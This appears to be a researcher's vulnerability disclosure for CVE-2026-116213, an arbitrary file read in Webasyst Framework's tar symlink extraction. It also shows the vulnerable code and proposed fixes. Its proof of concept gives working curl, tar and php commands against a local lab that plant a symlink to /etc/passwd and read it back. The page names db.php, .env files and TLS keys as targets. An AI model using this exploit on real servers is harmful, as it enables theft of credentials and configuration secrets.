← Back to CVEs
Webasyst Framework

CVE-2026-116213 - Webasyst Framework through 4.4.0 Arbitrary File Read via waArchiveTar Symlinks

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-116213.


DetailInformation
CVE RecordCVE-2026-116213
Severity6.9 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
4.9 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)
Date Published2026-10-26
Software NameWebasyst Framework
Affected Version(s)0 through 4.4.0
Software Linkhttps://github.com/webasyst/webasyst-framework
VendorWebasyst
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

Webasyst Framework through 4.4.0 contains an arbitrary file read vulnerability in waArchiveTar::writeItem() that creates symlinks from theme archives without validating link targets. Authenticated users with theme management rights can upload themes containing symlinks to wa-config/db.php or /etc/passwd and read them through the public theme path.


Prerequisites


Proof-of-Concept

1. Log in as admin to obtain a session cookie.

curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1:8080/webasyst/" \
    -d "login=admin&password=admin123&remember=1" >/dev/null

2. Grant design rights.

docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "
INSERT INTO wa_contact_rights (group_id, app_id, name, value) VALUES (1, 'site', 'design', 1);
"

3. Build a malicious tar archive containing a valid theme.xml and a symlink (malicious.css) that targets /etc/passwd.

mkdir -p /tmp/malicious_theme && cd /tmp/malicious_theme

cat > theme.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<theme id="malicious" system="0" vendor="test" author="test" app="site" version="1.0.0">
    <name locale="en_US">Malicious Theme</name>
    <description locale="en_US">Test</description>
    <files/><about locale="en_US">Test</about>
</theme>
EOF

rm -f malicious.css && ln -s /etc/passwd malicious.css
tar -czf /tmp/malicious_theme.tar.gz theme.xml malicious.css

The symlink target (/etc/passwd) lives in the tar header's linkname field. No ../ sequences are needed. An absolute path bypasses maliciousFilename() entirely since that function only checks for ../.

4. In the authenticated upload path, the archive is submitted via the theme upload endpoint:

CSRF=$(grep '_csrf' cookies.txt | awk '{print $7}')
curl -s -b cookies.txt -c cookies.txt \
    "http://127.0.0.1:8080/webasyst/site/?module=design&action=themeUpload" \
    -F "theme_files=@/tmp/malicious_theme.tar.gz" \
    -F "_csrf=$CSRF"

After a successful upload the symlink is placed under the public themes directory. Any subsequent request for the symlink path (directly via HTTP or via a PHP file read) returns the targeted file's contents.

5. Extract the archive directly via waArchiveTar to confirm the symlink traversal. This mirrors what the theme upload action does server-side.

docker exec wa-docker-app-1 php -r "
require '/var/www/html/wa-config/SystemConfig.class.php';
waSystem::getInstance(null, new SystemConfig());
\$tar = new waArchiveTar('/tmp/malicious_theme.tar.gz', 'r');
\$tar->extract('/var/www/html/wa-data/public/site/themes/malicious');
system('cat /var/www/html/wa-data/public/site/themes/malicious/malicious.css');
"

# Expected Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[ truncated ]

Reading malicious.css returns the contents of /etc/passwd because the symlink target was not validated during extraction. In a real attack, any file readable by the web server process can be targeted, such as database configuration, .env files, TLS private keys, and so on.


Vulnerable Code Section

case self::TYPE_SYM:
if (file_exists($header['path'])) {
    unlink($header['path']);
}
symlink($header['linkname'], $header['path']);  // linkname is raw tar header data
break;                                                                                   
protected function maliciousFilename($filename)
{
    return strpos($filename, '../') !== false || strpos($filename, '..\\') !== false;
}

This function checks only $header['path'] (the symlink's own name). It is never called on $header['linkname'] (the symlink target). A linkname of ../../../../etc/passwd passes through unchecked.

public static function install($path, $app_id, ...)
{
    $tar = new waArchiveTar($path, 'r');
    $tar->extract($themes_dir.'/'.$theme_id.'/');
    // ...
}

The Site app's themeUpload action calls waTheme::install() with the administrator-supplied archive, feeding untrusted tar content directly into the vulnerable extraction path.


Recommended Fix

// wa-system/file/waArchiveTar.class.php — TYPE_SYM case
case self::TYPE_SYM:
    if ($this->maliciousFilename($header['linkname'])) {
        break;  // reject relative traversal in link target
    }
    // Reject absolute paths in link target
    if (isset($header['linkname'][0]) && $header['linkname'][0] === '/') {
        break;
    }
    if (file_exists($header['path'])) {
        unlink($header['path']);
    }
    symlink($header['linkname'], $header['path']);
    break;
protected function maliciousFilename($filename)
{
    return strpos($filename, '../') !== false
        || strpos($filename, '..\\') !== false
        || (isset($filename[0]) && $filename[0] === '/');
}
case self::TYPE_SYM:
    // Symlinks in archives are a path-traversal risk; skip unconditionally.
    break;

Timeline



See you in the next hack.

@aaronamran

October 2026